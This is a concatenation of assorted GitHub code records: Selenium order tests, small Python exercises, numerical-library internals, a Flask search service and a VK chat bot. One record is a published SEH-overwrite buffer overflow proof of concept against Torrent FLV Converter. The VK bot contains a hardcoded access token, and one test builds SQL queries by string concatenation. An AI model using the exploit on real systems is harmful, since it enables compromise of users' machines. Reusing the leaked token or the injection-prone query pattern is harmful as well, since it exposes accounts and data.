driver.find_element_by_xpath('//select[@id=\"orderType\"]/option[' + str(orderTypeNum) + ']').click()\n time.sleep(2)\n orderType = driver.find_element_by_xpath(\n '//select[@id=\"orderType\"]/option[' + str(orderTypeNum) + ']').get_attribute('value')\n\n # 判断是否有收货地址,若有则随机选择一个收货地址,没则选择自提\n address = Oradao.sqlDiy(Oradao(),\n 'select * from mm_member_address ma where ma.member_id in (select m.id from mm_member m where m.member_no=\\'' + member_no + '\\') and ma.country=' + getAreaIdByCode(\n conf.state))\n addressLen = address['ID'].__len__()\n if addressLen > 0:\n addressNum = ranNo(1, addressLen)\n driver.find_element_by_xpath(\n '//table[@id=\"treeTable1\"]/tbody/tr[' + str(addressNum) + ']/td[1]/input').click()\n else:\n driver.find_element_by_id('isSelfPickup').click()\n\n # 根据不同订单类型与会员级别,循环添加商品直到bv>=50bv,>=300,>=400,>=500\n product = Oradao.sqlDiy(Oradao(),\n 'select p.id,p.product_id,p.bv,pm.product_no from pm_product_sale p,pm_product pm where pm.id=p.product_id and pm.product_type=\\'10\\' and p.order_type=\\'' + orderType + '\\' and p.company_code=\\'' + conf.state + '\\' and p.del_flag=\\'20\\'')\n bv = 0\n if orderType == '10':\n while bv < 50:\n product_num = ranNo(0, product['ID'].__len__() - 1)\n product_id = product['ID'][product_num]\n product_no = product['PRODUCT_NO'][product_num]\n # 按商品编码查询\n driver.find_element_by_id('productNo').send_keys(product_no)\n # 点击查询商品\n driver.find_element_by_id('btnSearch').click()\n driver.implicitly_wait(10)\n driver.find_element_by_id('buy-s-' + str(product_id)).click()\n bv = bv + product['BV'][product_num]\n driver.find_element_by_id('productNo').clear()\n\n elif orderType == '20' and member_grade == '10':\n while bv < 300:\n product_num = ranNo(0, product['ID'].__len__() - 1)\n product_id = product['ID'][product_num]\n product_no = product['PRODUCT_NO'][product_num]\n # 按商品编码查询\n driver.find_element_by_id('productNo').send_keys(product_no)\n # 点击查询商品\n driver.find_element_by_id('btnSearch').click()\n driver.implicitly_wait(10)\n driver.find_element_by_id('buy-s-' + str(product_id)).click()\n bv = bv + product['BV'][product_num]\n driver.find_element_by_id('productNo').clear()\n\n elif orderType == '20' and member_grade == '20':\n while bv < 400:\n product_num = ranNo(0, product['ID'].__len__() - 1)\n product_id = product['ID'][product_num]\n product_no = product['PRODUCT_NO'][product_num]\n # 按商品编码查询\n driver.find_element_by_id('productNo').send_keys(product_no)\n # 点击查询商品\n driver.find_element_by_id('btnSearch').click()\n driver.implicitly_wait(10)\n driver.find_element_by_id('buy-s-' + str(product_id)).click()\n bv = bv + product['BV'][product_num]\n driver.find_element_by_id('productNo').clear()\n\n elif orderType == '20' and member_grade == '30':\n while bv < 500:\n product_num = ranNo(0, product['ID'].__len__() - 1)\n product_id = product['ID'][product_num]\n product_no = product['PRODUCT_NO'][product_num]\n # 按商品编码查询\n driver.find_element_by_id('productNo').send_keys(product_no)\n # 点击查询商品\n driver.find_element_by_id('btnSearch').click()\n driver.implicitly_wait(10)\n driver.find_element_by_id('buy-s-' + str(product_id)).click()\n bv = bv + product['BV'][product_num]\n driver.find_element_by_id('productNo').clear()\n\n else:\n product_num = ranNo(0, product['ID'].__len__() - 1)\n product_id = product['ID'][product_num]\n product_no = product['PRODUCT_NO'][product_num]\n # 按商品编码查询\n driver.find_element_by_id('productNo').send_keys(product_no)\n # 点击查询商品\n driver.find_element_by_id('btnSearch').click()\n driver.implicitly_wait(10)\n driver.find_element_by_id('buy-s-' + str(product_id)).click()\n\n # 移动滚动条,避免按钮被遮住,需先切换iframe(滚动条属于最外面那层的)\n driver.switch_to_default_content()\n driver.execute_script('scrollTo(0,0)')\n\n # 再切回里面的iframe\n driver.switch_to_frame('contentIframe1121')\n\n # 点击右侧的购物车,再点击结账\n driver.find_element_by_id('shopCart').click()\n time.sleep(2)\n driver.find_element_by_id('goShopping').click()\n time.sleep(2)\n\n try:\n # 如果选择的会员能正常下单,则进入到订单信息页,点击保存按钮\n driver.switch_to_default_content()\n driver.execute_script('scrollTo(0,10000)')\n driver.switch_to_frame('contentIframe1121')\n driver.find_element_by_id('btnSubmit').click()\n time.sleep(2)\n except:\n # 如果会员下不了单,页面滚动到最顶\n driver.switch_to_default_content()\n driver.execute_script('scrollTo(0,0)')\n # 关闭订单管理页面\n driver.find_element_by_xpath('//div[@id=\"tt\"]/div[1]/div[3]/ul/li[2]/a[2]').click()\n # 重新下单选择会员\n self.chooseMember()\n\n # 点击订单明细页的保存按钮\n driver.find_element_by_id('btnSubmit').click()\n time.sleep(5)\n\n try:\n # 能正常下单,则会进入支付页面\n driver.switch_to_default_content()\n driver.execute_script('scrollTo(0,0)')\n driver.switch_to_frame('contentIframe1121')\n driver.find_element_by_xpath('//form[@id=\"payForm\"]/div[2]/div').text\n except:\n # 如果会员存在待支付的首购单则下不了单,关闭订单管理页面\n driver.switch_to_default_content()\n driver.find_element_by_xpath('//div[@id=\"tt\"]/div[1]/div[3]/ul/li[2]/a[2]').click()\n # 重新下单选择会员\n self.count += 1\n # 当出现10次都下不了单时,抛出异常,排除是否代码问题\n if self.count >= 10:\n raise Exception(u'下单错误')\n self.chooseMember()\n\n # 支付操作\n def pay(self):\n driver = self.driver\n conf = self.conf\n\n # 若生产环境,则选在线支付(填不存在的信用卡,使其支付不成功即可)\n if conf.env == 'production':\n # 在线支付\n driver.find_element_by_xpath('//form[@id=\"payForm\"]/div[4]/div/p[6]/input[1]').click()\n time.sleep(1)\n driver.find_element_by_name('onlineMode').click()\n time.sleep(1)\n # 填信用卡号\n credit_card = str(ranNo(6000000000000000, 6999999999999999))\n driver.find_element_by_id('creditcard_number').send_keys(credit_card)\n # 选有效期\n driver.find_element_by_xpath('//div[@id=\"s2id_creditcard_expireMonth\"]/a/div/b').click()\n Select(driver.find_element_by_id(\"creditcard_expireMonth\")).select_by_index(ranNo(0, 11))\n driver.find_element_by_xpath('//div[@id=\"s2id_creditcard_expireYear\"]/a/div/b').click()\n Select(driver.find_element_by_id(\"creditcard_expireYear\")).select_by_index(ranNo(1, 9))\n # 输入安全码\n driver.find_element_by_id('creditcard_cvv2').send_keys(str(ranNo(100, 999)))\n # 持卡人姓名\n driver.find_element_by_id('creditcard_firstName').send_keys('test')\n driver.find_element_by_id('creditcard_lastName').send_keys(str(ranNo(1, 99)))\n # 邮编\n driver.find_element_by_id('creditcard_zip').send_keys(str(ranNo(10000, 99999)))\n # 地址\n driver.find_element_by_id('creditcard_address1').send_keys('test' + str(ranNo(1, 999)))\n\n # 点击支付\n driver.switch_to_default_content()\n driver.execute_script('scrollTo(0,200)')\n driver.switch_to_frame('contentIframe1121')\n driver.find_element_by_id('btnSubmit').click()\n time.sleep(2)\n\n # 判断返回卡信息错误\n driver.switch_to_default_content()\n driver.execute_script('scrollTo(0,0)')\n driver.switch_to_frame('contentIframe1121')\n message = driver.find_element_by_xpath('//div[@class=\"form-actions\"]/p').text\n self.assertEqual(message, u'Invalid CARDNUMBER field')\n\n # 测试环境(test&sandbox),则选现金支付\n else:\n # 选择现金支付\n driver.find_element_by_xpath('//form[@id=\"payForm\"]/div[4]/div/p[1]/input[1]').click()\n time.sleep(2)\n\n # 点击支付\n driver.switch_to_default_content()\n driver.execute_script('scrollTo(0,200)')\n driver.switch_to_frame('contentIframe1121')\n driver.find_element_by_id('btnSubmit').click()\n\n # 点击返回\n driver.switch_to_default_content()\n driver.execute_script('scrollTo(0,0)')\n driver.switch_to_frame('contentIframe1121')\n driver.find_element_by_id('btnSubmit').click()\n\n # 从数据库搜索新增的订单编号\n order = Oradao.sqlDiy(Oradao(),\n 'select * from om_orders o where o.company_code=\\'' + conf.state + '\\' order by o.doc_no desc')\n docNo = order['DOC_NO'][0]\n\n # 获取页面查询到的订单号\n rsDocNo = driver.find_elements_by_xpath('//table[@id=\"contentTable\"]/tbody/tr[1]/td[2]')[0].text\n\n # 断言\n self.assertEquals(rsDocNo, docNo)\n\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"regend/redriver","sub_path":"src/ossMember/orders/order_Save.py","file_name":"order_Save.py","file_ext":"py","file_size_in_byte":14415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37794573022","text":"#Faça um mini-sistema que utilize o Interactive Help do python. O usuário vai digitar o comando e o manual vai aparecer. Quando o usuário digitar a palavra \"FIM\", o programa se encerrará. OBS: use cores\nfrom time import sleep\n\nc = (\n'\\033[m',\n'\\033[0;30;41m', \n'\\033[0;30;42m', \n'\\033[0;30;43m', \n'\\033[0;30;44m', \n'\\033[0;30;45m', \n'\\033[7;30m'\n)\n\n\ndef ajuda(com):\n titulo(f'Procurando o manual da função \\'{com}\\'', 4)\n print(c[6], end='')\n help(com)\n print(c[0], end='')\n sleep(2)\n\n\ndef titulo(msg, cor=0):\n tam = len(msg)\n print(c[cor], end='')\n print('=' * tam)\n print(msg)\n print('=' * tam)\n print(c[0], end='')\n sleep(1)\n\n\n\nwhile True:\n titulo('MODO DE AJUDA INTERATIVO', 2)\n comando = str(input('Função > '))\n \n if comando.upper() == 'FIM':\n break\n else:\n ajuda(comando)\n\ntitulo('Fim do programa.', 1)\n\n","repo_name":"OdZarref/Cursos","sub_path":"Python CEV/ex106.py","file_name":"ex106.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41260788757","text":"#!/usr/bin/python2\n\n'''\nAsyncNotifier example from tutorial\n\nSee: http://github.com/seb-m/pyinotify/wiki/Tutorial\n'''\n\nfrom __future__ import print_function\nimport asyncore # for loop\nimport pyinotify # for WatchManager, IN_CREATE, IN_DELETE, ProcessEvent, AsyncNotifier\n\nwm = pyinotify.WatchManager() # Watch Manager\nmask = pyinotify.IN_DELETE | pyinotify.IN_CREATE # watched events\n\n\nclass EventHandler(pyinotify.ProcessEvent):\n\n def process_IN_CREATE(self, event):\n print('Creating:', event.pathname)\n\n def process_IN_DELETE(self, event):\n print('Removing:', event.pathname)\n\nnotifier = pyinotify.AsyncNotifier(wm, EventHandler())\nwdd = wm.add_watch('/tmp', mask, rec=True)\n\nasyncore.loop()\n","repo_name":"nonZero/demos-python","sub_path":"src/examples/short/inotify/async_python2.py","file_name":"async_python2.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"42487541733","text":"import networkx as nx\nimport matplotlib.pyplot as plt\nimport random\n\n\ndef create_network(num_edges):\n if num_edges > 36:\n print(\"Please enter number of edges less than 70\")\n else:\n city_set = [\n \"Delhi\",\n \"Bangalore\",\n \"Hyderabad\",\n \"Ahmedabad\",\n \"Chennai\",\n \"Kolkata\",\n \"Surat\",\n \"Pune\",\n \"Jaipur\",\n ]\n costs = [\n 100,\n 200,\n 300,\n 400,\n 500,\n 600,\n 700,\n 800,\n 900,\n 1000,\n 1100,\n 1200,\n 1300,\n 1400,\n 1500,\n 1600,\n 1700,\n 1800,\n 1900,\n 2000,\n ]\n\n G = nx.Graph()\n for each in city_set:\n G.add_node(each)\n\n while G.number_of_edges() < num_edges:\n print(\"Adding edge number:\", G.number_of_edges())\n c1 = random.choice(list(G.nodes()))\n c2 = random.choice(list(G.nodes()))\n if c1 != c2 and G.has_edge(c1, c2) == 0:\n w = random.choice(costs)\n G.add_edge(c1, c2, weight=w)\n\n return G\n # pos = nx.circular_layout(G)\n # nx.draw(G, pos,with_labels=1)\n # plt.show()\n\n\nif __name__ == \"__main__\":\n G = create_network(20)\n pos = nx.circular_layout(G)\n nx.draw(G, pos, with_labels=1)\n plt.show()\n\n\n# # nx.draw_networkx_edge_labels(G,pos)\n\n# print (nx.is_connected(G))\n","repo_name":"rjsu26/SocialNetworksNPTEL","sub_path":"intro2.py","file_name":"intro2.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22347568049","text":"from cvxpy.lin_ops.tree_mat import mul, tmul, sum_dicts\nimport numpy as np\n\n\ndef get_mul_funcs(sym_data):\n\n def accAmul(x, y, is_abs=False):\n # y += A*x\n rows = y.shape[0]\n var_dict = vec_to_dict(x, sym_data.var_offsets,\n sym_data.var_sizes)\n y += constr_mul(sym_data.constraints, var_dict, rows, is_abs)\n\n def accATmul(x, y, is_abs=False):\n # y += A.T*x\n terms = constr_unpack(sym_data.constraints, x)\n val_dict = constr_tmul(sym_data.constraints, terms, is_abs)\n y += dict_to_vec(val_dict, sym_data.var_offsets,\n sym_data.var_sizes, sym_data.x_length)\n\n return (accAmul, accATmul)\n\n\ndef constr_unpack(constraints, vector):\n \"\"\"Unpacks a vector into a list of values for constraints.\n \"\"\"\n values = []\n offset = 0\n for constr in constraints:\n rows, cols = constr.size\n val = np.zeros((rows, cols))\n for col in range(cols):\n val[:, col] = vector[offset:offset+rows]\n offset += rows\n values.append(val)\n return values\n\n\ndef vec_to_dict(vector, var_offsets, var_sizes):\n \"\"\"Converts a vector to a map of variable id to value.\n\n Parameters\n ----------\n vector : NumPy matrix\n The vector of values.\n var_offsets : dict\n A map of variable id to offset in the vector.\n var_sizes : dict\n A map of variable id to variable size.\n\n Returns\n -------\n dict\n A map of variable id to variable value.\n \"\"\"\n val_dict = {}\n for id_, offset in var_offsets.items():\n size = var_sizes[id_]\n value = np.zeros(size)\n offset = var_offsets[id_]\n for col in range(size[1]):\n value[:, col] = vector[offset:size[0]+offset]\n offset += size[0]\n val_dict[id_] = value\n return val_dict\n\n\ndef dict_to_vec(val_dict, var_offsets, var_sizes, vec_len):\n \"\"\"Converts a map of variable id to value to a vector.\n\n Parameters\n ----------\n val_dict : dict\n A map of variable id to value.\n var_offsets : dict\n A map of variable id to offset in the vector.\n var_sizes : dict\n A map of variable id to variable size.\n vector : NumPy matrix\n The vector to store the values in.\n \"\"\"\n # TODO take in vector.\n vector = np.zeros(vec_len)\n for id_, value in val_dict.items():\n size = var_sizes[id_]\n offset = var_offsets[id_]\n for col in range(size[1]):\n # Handle scalars separately.\n if np.isscalar(value):\n vector[offset:size[0]+offset] = value\n else:\n vector[offset:size[0]+offset] = np.squeeze(value[:, col])\n offset += size[0]\n return vector\n\n\ndef constr_mul(constraints, var_dict, vec_size, is_abs):\n \"\"\"Multiplies a vector by the matrix implied by the constraints.\n\n Parameters\n ----------\n constraints : list\n A list of linear constraints.\n var_dict : dict\n A dictionary mapping variable id to value.\n vec_size : int\n The length of the product vector.\n is_abs : bool\n Multiply by the absolute value of the matrix?\n \"\"\"\n product = np.zeros(vec_size)\n offset = 0\n for constr in constraints:\n result = mul(constr.expr, var_dict, is_abs)\n rows, cols = constr.size\n for col in range(cols):\n # Handle scalars separately.\n if np.isscalar(result):\n product[offset:offset+rows] = result\n else:\n product[offset:offset+rows] = np.squeeze(result[:, col])\n offset += rows\n\n return product\n\n\ndef constr_tmul(constraints, values, is_abs):\n \"\"\"Multiplies a vector by the transpose of the constraints matrix.\n\n Parameters\n ----------\n constraints : list\n A list of linear constraints.\n values : list\n A list of NumPy matrices.\n is_abs : bool\n Multiply by the absolute value of the matrix?\n\n Returns\n -------\n dict\n A mapping of variable id to value.\n \"\"\"\n products = []\n for constr, val in zip(constraints, values):\n products.append(tmul(constr.expr, val, is_abs))\n return sum_dicts(products)\n","repo_name":"TomHeaven/cvxpy","sub_path":"cvxpy/problems/iterative.py","file_name":"iterative.py","file_ext":"py","file_size_in_byte":4236,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"32584745028","text":"# Exploit Title: Torrent FLV Converter 1.51 Build 117 - Stack Oveflow (SEH partial overwrite)\n# Date: 2020-01-16\n# Exploit Author: antonio\n# Vendor Homepage: http://www.torrentrockyou.com/\n# Software Link: http://www.torrentrockyou.com/download/trflvconverter.exe\n# Version: 1.51 Build 117\n# Tested on: Windows 7 SP1 32-bit\n\n# Copy paste the contents of poc.txt into the\n# Registration Code input field.\n\n#!/usr/bin/python\n\nnseh_offset = 4500\ntotal = 5000\n\n# badchars\n# --------\n# 0x00, 0x0a, 0x0d, 0x80\n# 0xf0-x0ff, 0xe0-0x0ef, 0x70-0x7a\n# 0x61-0x6f, 0x9a, 0x9c, 0x9e\n\npoc = \"\"\npoc += \"A\"*(nseh_offset - 53)\npoc += \"\\x90\"*53\npoc += \"\\x7d\\xcb\\x90\\x90\" # jump backwards to NOPs: jge via SF = OF\npoc += \"\\x7f\\xb3\\x45\" # nseh pop pop ret: 3-byte partial overwrite\n\nfile = open(\"poc_seh.txt\",\"w\")\nfile.write(poc)\nfile.close()","repo_name":"ryanmrestivo/red-team","sub_path":"_Resources/Exploit DB 2021-12-11/exploits/windows/local/47938.py","file_name":"47938.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"21"} +{"seq_id":"12816333324","text":"from flask import Flask, render_template, request, jsonify\nfrom flask_cors import CORS\nimport json\nimport numpy as np\nfrom scipy.spatial.distance import cosine\nimport pandas as pd\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom sklearn.preprocessing import OneHotEncoder, StandardScaler\n\n\napp = Flask(__name__)\nCORS(app)\n\n\n@app.route('/search_people/', methods=['GET'])\ndef search_people_route():\n query = request.args.get('query')\n category = request.args.get('category') \n\n # Parse the query into separate words and remove stop words\n # Tokenize the query into separate words\n name = 'Mary'\n words = query.split()\n query_words = ''.join(words)\n \n data = pd.read_excel(\"/Users/zengxuqian/Downloads/Random.xlsx\")\n data = data.fillna(\"Unknown\")\n \n # Filter the DataFrame to only include rows containing the query input in any column\n if category == 'workplace':\n filtered_df = data[data['workplace'].str.contains(query_words, case=False)]\n elif category == 'user_department':\n filtered_df = data[data['user_department'].str.contains(query_words, case=False)]\n elif category == 'Personality_Color':\n filtered_df = data[data['Personality_Color'].str.contains(query_words, case=False)]\n else:\n filtered_df = data[data['user_name'].str.contains(query_words, case=False)]\n \n # add the searcher info \n searcher = data[data['user_name'] == name].iloc[0]\n filtered_df = filtered_df.append(searcher, ignore_index=True)\n\n ''' # Create a dictionary to store the similarity scores for each column\n similarity_scores = {'user_name': 0, 'workplace': 0, 'user_department': 0, 'Personality_Color': 0}\n \n # Loop over the columns and calculate the similarity scores\n for col in similarity_scores.keys():\n for query_word in query_words:\n similarity_scores[col] += filtered_df[col].str.contains(query_word, case=False).sum()\n \n # Sort the dictionary by the similarity scores\n sorted_similarity_scores = sorted(similarity_scores.items(), key=lambda x: x[1], reverse=True)\n \n # Pick the top three columns\n top_col = ''\n top_col_ = [col[0] for col in sorted_similarity_scores[:1]]\n for x in top_col_:\n top_col += x'''\n\n # One-hot encode categorical features\n one_hot = pd.get_dummies(filtered_df[['user_department', 'workplace','Personality_Color']])\n \n # Create the feature matrix\n features = np.concatenate([filtered_df[['Sensitive-Secure', 'Challenging-Friendly']].to_numpy(), one_hot.to_numpy()], axis=1)\n\n # Calculate the cosine similarity matrix\n cosine_sim = cosine_similarity(features)\n \n suffix = data[data['user_name'] == name]['user_department'].astype('string').values[0]\n col_name = 'user_department_' + suffix\n \n # make the department feature the most important by multiplying its cosine similarity values by a factor\n #cosine_sim[:, department_index] = cosine_sim[:, department_index] * 10\n for i in range(cosine_sim.shape[0]):\n cosine_sim[i, i] = cosine_sim[i, i] + (one_hot.iloc[i][col_name] * 2)\n\n index = filtered_df[filtered_df['user_name'] == name].index[0]\n similarities = cosine_sim[index, :]\n top_10_indices = similarities.argsort()[-8:-1][::-1]\n top_10_users = filtered_df.iloc[top_10_indices][category]\n result = top_10_users.tolist()\n return jsonify(result)\n\n #return render_template('appc.html', results=results)\n\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n\n\n","repo_name":"xze1932/demo","sub_path":"add.py","file_name":"add.py","file_ext":"py","file_size_in_byte":3463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43043005216","text":"import media\nimport fresh_tomatoes\n# Importing media and fresh_tomatoes libraries\n\n# initialize Toy Story\ntoy_story = media.Movie(\"Toy Story\",\n \"A story of a boy an his toys tha come to life\",\n \"https://upload.wikimedia.org/wikipedia/pt/d/dc/Movie_poster_toy_story.jpg\", # noqa\n \"https://www.youtube.com/watch?v=KYz2wyBy3kc\")\n\n# initialize Avatar\navatar = media.Movie(\"Avatar\", \"A marine on a alien planet\",\n \"https://upload.wikimedia.org/wikipedia/pt/b/b0/Avatar-Teaser-Poster.jpg\", # noqa\n \"https://www.youtube.com/watch?v=5PSNL1qE6VY\")\n\n# initialize Elite Squad\nelite_squad = media.Movie(\"Elite Squad\",\n \"Captain Roberto Nascimento (Wagner Moura) \\\n narrates the film, briefly explaining how the \\\n police and the drug lords of Rio de Janeiro \\\n cooperate with each other (policemen collect \\\n periodic bribes and drug lords are left free to\\\n operate) in the 90's.\",\n \"https://upload.wikimedia.org/wikipedia/en/2/2a/TropaDeElitePoster.jpg\", # noqa\n \"https://www.youtube.com/watch?v=ELlkWtNWyKY\")\n\n# initialize The Shawshank Redemption\nthe_shawshank_redemption = media.Movie(\"The Shawshank Redemption\", \"In 1947 \\\n Portland, Maine, banker Andy Dufresne is convicted of\\\n murdering his wife and her lover, and is sentenced \\\n to two consecutive life sentences at the Shawshank\\\n State Penitentiary.\",\n \"https://upload.wikimedia.org/wikipedia/en/8/81/ShawshankRedemptionMoviePoster.jpg\", # noqa\n \"https://www.youtube.com/watch?v=6hB3S9bIaco\")\n\n# initialize The Perks Of Being a WallFlower\nthe_perks_of_being_a_wallflower = media.Movie(\n \"The Perks of Being a Wallflower\",\n \"The film is set against the background of a young\\\n student, Charlie, who has been suffering from\\\n clinical depression from childhood setbacks and\\\n has recently been discharged from a mental\\\n health care institution to begin his adaptation\\\n to a normal lifestyle as a young high\\\n school student. \",\n \"https://upload.wikimedia.org/wikipedia/en/0/0b/The_Perks_of_Being_a_Wallflower_Poster.jpg\", # noqa\n \"https://www.youtube.com/watch?v=n5rh7O4IDc0\")\n\n# Put all toguether in a array\nmovies = [toy_story, elite_squad, the_shawshank_redemption,\n the_perks_of_being_a_wallflower]\n\n# Open the site page\nfresh_tomatoes.open_movies_page(movies)\n# jus for loggin\nprint(media.Movie.__module__)\n","repo_name":"danilomiranda/udacity-fullStackWebDeveloper-movies-","sub_path":"entertainment_center.py","file_name":"entertainment_center.py","file_ext":"py","file_size_in_byte":3040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28858019114","text":"from flask import Blueprint, jsonify, abort, Response\nfrom database import session\nfrom sqlalchemy import exc\n\napp = Blueprint('health_check_bp', __name__)\n\n\n@app.route('/api/v1/health_check', methods=['GET'])\ndef get():\n\n try:\n session.connection()\n except exc.SQLAlchemyError:\n abort(500)\n session.close()\n\n session.close()\n\n return Response(status=200)\n","repo_name":"kentaiwami/Shifree","sub_path":"server/src/views/v1/health_check.py","file_name":"health_check.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37219273571","text":"class Solution:\n def numDifferentIntegers(self, word: str) -> int:\n arr = [chr(_) for _ in range(97, 123)]\n for a in arr: #replace all the letter as space\n word = word.replace(a, \" \")\n res=set()\n for w in word.split(\" \"): #split by space, and check how many distinct numbers\n if w and w != \" \":\n res.add(int(w))\n return len(res)\n\n","repo_name":"renjieliu/leetcode","sub_path":"1500_1999/1805.py","file_name":"1805.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"27486032947","text":"#импорт либ\nimport requests\nimport datetime, time\nimport random\nimport vk_api\nfrom vk_api.longpoll import VkLongPoll, VkEventType\n\n\ntoken=\"00b1235ef7a47f25146523bb6fd174e8f63438e7169860e5caf7e0505083a320da07b84e6629392c355d4\"\n\n\nvk=vk_api.VkApi(token=token)\n\nlongpoll=VkLongPoll(vk)\n\ntext=[\"Кек\",\"Лол\",\"Ну ты и лох\",\"bot by Xachapury\",\"Бтс топ\",\" Чукча\",\"водка плоха\",\"Привет\",\"Здорова\", \"хеллоу\", \"хелло\",\"хай\",\"зиг хаиль\",\"как дела\",\"че каво\",\"как тебя зовут\"]\n\nrunning=True\n\ndef write_msg(message, user_id, random_id):\n vk.method('messages.send', {'message': message,'user_id': user_id,'random_id': random_id,})\n \nfor event in longpoll.listen():\n if event.type==VkEventType.MESSAGE_NEW:\n request=event.text\n if event.from_user:\n if request=='!даун':\n print('получено !даун')\n write_msg(random.choice(text), event.user_id, random.getrandbits(64)) #это полностью копируй\n elif request=='!хелп':\n print('получено !хелп')\n write_msg('в разработке', event.user_id, random.getrandbits(64))\n elif request=='!вики':\n print('получено !вики')\n write_msg('в разработке', event.user_id, random.getrandbits(64))\n #write_msg('каво', event.user_id, random.getrandbits(64))\n ","repo_name":"Feytell228/vk_bot-python","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"ru","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"71615687414","text":"from collections import Counter\n\nn = int(input())\n\nl = [int(i) for i in input().split()]\n\n\nnum = Counter(l)\n\ndp = [0] * (100001)\n\ndp[1] = num[1]\n\nfor i in range(2,100001):\n dp[i] = max(dp[i-1], dp[i-2] + i*num.get(i, 0))\n\nprint(dp[100000])\n","repo_name":"fernandozanutto/competitive_programming","sub_path":"Codeforces/455/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"38045749088","text":"import math\n\ndef fc4(x):\n check(x,math.sqrt(x))\n\ndef check(a,b):\n print('test')\n if a%b==0:\n print(b,a/b)\n if b>1:\n check(a,b-1)\n else:\n print(\"Done.\")\n","repo_name":"StardustGogeta/Math-Programming","sub_path":"Python/FC4-Recursion.py","file_name":"FC4-Recursion.py","file_ext":"py","file_size_in_byte":188,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"4418758570","text":"class Node:\n\n def __init__(self, data):\n self.data = data\n self.left = None\n self.right = None\n\ndef inOrderSuccessor(root, n):\n\n #If the right subtree is not NULL, then succ lies in right subtree\n if n.right:\n return minValue(n.right)\n\n #If the right subtree is NULL, then succ is ont of the ancestors\n p = n.parent\n while p:\n if n != p.right:\n break\n n = p\n p = p.right\n return p\n\n\ndef minValue(root):\n\n current = root\n\n while current.left:\n current = current.left\n\n return current\n\ndef insert(node, data):\n\n if node is None:\n return Node(data)\n\n else:\n\n if data < node.data:\n\n temp = insert(node.left, data)\n node.left = temp\n temp.parent = node\n\n else:\n\n temp = insert(node.right, data)\n node.right = temp\n temp.parent = node\n\n return node\n\n\nroot = None\n\n# Creating the tree given in the above diagram\nroot = insert(root, 20)\nroot = insert(root, 8);\nroot = insert(root, 22);\nroot = insert(root, 4);\nroot = insert(root, 12);\nroot = insert(root, 10);\nroot = insert(root, 14);\ntemp = root.left.right.right\n\nsucc = inOrderSuccessor(root, temp)\nif succ is not None:\n print(\"\\nInorder Successor of %d is %d \" % (temp.data, succ.data))\nelse:\n print(\"\\nInorder Successor doesn't exist\")\n\n\n\n","repo_name":"Taoge123/LeetCode","sub_path":"BinarySearchTree/InorderSuccessorInBST.py","file_name":"InorderSuccessorInBST.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10323338163","text":"from modules.base_module import Module\nfrom modules.location import get_city_info\nfrom modules.location import refresh_avatar\nimport random\nimport json\n\n\nclass_name = \"Inventory\"\nwith open(\"gifts.json\", \"r\") as f:\n gifts = json.load(f)\n\n\nclass Inventory(Module):\n prefix = \"tr\"\n\n def __init__(self, server):\n self.server = server\n self.commands = {\"sale\": self.sale_item,\n \"opgft\": self.open_gift,\n \"use\": self.craft_use,\n \"offer\": self.apply_internal_offer,\n \"exchitfcmft\": self.exchange_for_comfort,\n \"rcvtr\": self.receive_comfort,\n \"bthgft\": self.birthday_gift}\n\n async def birthday_gift(self, msg, client):\n redis = self.server.redis\n item = msg[2][\"iid\"]\n message = msg[2][\"pmsg\"]\n sender = msg[2][\"sndr\"]\n if sender not in self.server.online:\n return\n category = {\"birthdayGift1\": {\"gld\": 5},\n \"birthdayGift2\": {\"gld\": 15},\n \"birthdayGift3\": {\"gld\": 50}}\n if item != \"\":\n if item not in category:\n return\n await self.server.inv[sender].add_item(item, \"gm\", 1)\n inv = self.server.inv[sender].get()\n await self.server.online[sender].send([\"ntf.inv\", {\"inv\": inv}])\n await self.server.redis.decrby(f\"uid:{client.uid}:gld\", gold)\n if message != \"\":\n await self.server.redis.decrby(f\"uid:{client.uid}:slvr\", 500)\n ci = await get_city_info(client.uid, self.server)\n await client.send([\"ntf.ci\", {\"ci\": ci}])\n await self.server.online[sender].send([\"tr.bthgft\", {\"iid\": item, \"pmsg\": message, \"sndr\": client.uid}])\n\n async def craft_use(self, msg, client):\n item = msg[2][\"tpid\"]\n if not await self.server.inv[client.uid].take_item(item, 1):\n return\n if item.startswith(\"vipTicket\"):\n await client.send([\"cp.ms.rsm\", {\"txt\": \"Премиум можно купить на сайте avabox.site\"}])\n return\n if item not in [\"craftedEnergyDrink\", \"craftedCoffee\"]:\n await client.send([\"cp.ms.rsm\", {\"txt\": \"Использовать можно только кофе и энергетик\"}])\n return\n if item == \"craftedEnergyDrink\":\n await self.server.redis.incrby(f\"uid:{client.uid}:enrg\", 200)\n if item == \"craftedCoffee\":\n await 